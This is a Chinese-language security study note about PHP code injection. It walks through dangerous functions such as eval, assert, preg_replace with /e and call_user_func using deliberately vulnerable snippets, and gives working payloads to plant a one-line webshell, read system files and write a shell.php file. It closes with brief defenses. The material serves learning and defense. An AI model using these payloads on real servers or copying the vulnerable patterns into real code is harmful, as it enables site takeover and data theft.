• 网络安全学习笔记:代码注入


    代码注入

    1、RCE

    代码执行(注入)类似SQL 注入漏洞,SQLi 是将SQL 语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web 后门的存在。
    1、程序中含有可以执行PHP 代码的函数或者语言结构
    2、传入第一点中的参数,客户端可控,直接修改或者影响

    2、相关函数和语句

    eval() 函数

    eval() 会将字符串当作PHP代码来执行
        <?php
        @$str=$_REQUEST['code'];
        eval($str);
        ?>

    assert()函数

    assert() 同样会作为PHP 代码执行
        <?php
        @$str=$_GET['code'];
        assert($str);
        ?>

    preg_replace() 函数

    preg_replace() 函数作用是对字符串进行正则处理
            mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int limit = -1[,int &$count]])
            preg_replace('/a/','b',"abcdega");
        这段代码的含义是搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换,而$pattern处,及第一个参数存在/e修饰时,$replacement 的值会被当成PHP 代码来执行。
        
        <?php
        @$str=$_GET['code'];
        preg_replace("/[(.∗)]/e",'\1',$code);
        ?>
    \1表示preg_replace第一次匹配的内容
    提交参数?code=[phpinfo()]], phpinfo() 会被执行

    call_user_func() 函数

    call_user_func() 等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用以外的函数来执行我们想要的代码
        以call_user_func() 为例子,该函数的第一个参数作为回调函数
        <?php
        $fun=$_GET['fun'];
        $para=$_GET['para'];
        call_user_func($fun,$para);
        ?>
    提交参数    ?fun=assert&amp;para=phpinfo()

    动态函数$a($b)

     <?php
        $a=$_GET['a'];
        $b=$_GET['b'];
        $a($b);
        ?>

    传参直接获取shell

    直接获取shell
    提交参数 ?code=@eval($_REQUEST[1])
    即可构成一句话木马,密码为[1]。可以使用菜刀连接

    获取当前文件的绝对路径

    __FILE__ 是PHP 预定义常量,其含义为当前文件的路径。
    提交代码 ?code=print(__FILE__);

    读文件
    ?code=var_dump(file_get_contents('c:windowssystem32driversetchosts'));

    写文件

    利用file_put_contents() 函数写入文件,前提是知道可写文件目录。
    提交代码
    ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
    此时需要借助与hackbar通过post方式提交参数
    1=shel.php&2=<?php phpinfo()?>

    即可再当前目录下创建一个文件shell.php

    3、防御

    防御方法
    1、尽量不要使用eval(不是函数,是语言结构) 等函数
    2、如果使用的话一定要进行严格的过滤
    3、preg_replace 放弃使用/e 修饰符
    4、修改配置文件(禁用)
    disable_functions=assert

     

  • 相关阅读:
    不指定虚拟路径的前提下通过http访问pdf、图片等文件
    Java Service Wrapper将java程序设置为服务
    C# 上传excel文档解析出里面数据
    如何同时启动多个Tomcat服务
    struts2的action的知识点和利用action向页面注入值的操作
    IOS6 字体高亮显示
    微软安全新闻聚焦-双周刊第三十五期
    工厂三兄弟之工厂方法模式(四)
    清空文件夹里面的所有文件和文件夹
    OOP设计模式[JAVA]——03职责链模式
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/13957277.html
Copyright © 2020-2023  润新知